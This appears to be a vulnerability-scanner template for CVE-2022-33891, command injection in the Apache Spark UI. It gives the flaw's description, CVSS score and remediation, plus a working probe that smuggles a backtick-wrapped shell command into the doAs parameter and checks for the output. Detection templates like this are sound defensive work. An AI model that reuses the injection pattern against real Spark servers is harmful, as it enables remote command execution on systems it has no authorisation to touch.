id: CVE-2022-33891 info: name: Apache Spark UI - Remote Command Injection author: princechaddha severity: high description: | Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. remediation: | Apply the latest security patches or updates provided by Apache Spark to fix the remote command injection vulnerability. reference: - https://github.com/W01fh4cker/cve-2022-33891 - https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc - http://packetstormsecurity.com/files/168309/Apache-Spark-Unauthenticated-Command-Injection.html - https://nvd.nist.gov/vuln/detail/CVE-2022-33891 - http://www.openwall.com/lists/oss-security/2023/05/02/1 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2022-33891 cwe-id: CWE-78 epss-score: 0.97069 epss-percentile: 0.99721 cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: apache product: spark shodan-query: title:"Spark Master at" tags: cve2022,cve,apache,spark,authenticated,kev,packetstorm variables: command: "echo CVE-2022-33891 | rev" http: - method: GET path: - '{{BaseURL}}/doAs?=`{{url_encode("{{command}}")}}`' matchers-condition: and matchers: - type: word part: body words: - "19833-2202-EVC" # digest: 4a0a004730450221008bb8dca83860e99f6649206e34e12203a4ef600bbafcd7ae6b135b537faab9990220205c3ed10d667efd9a2e7f2128c855334fab697f0bf55bf5792362c774f88c91:922c64590222798bb761d5b6d8e72950
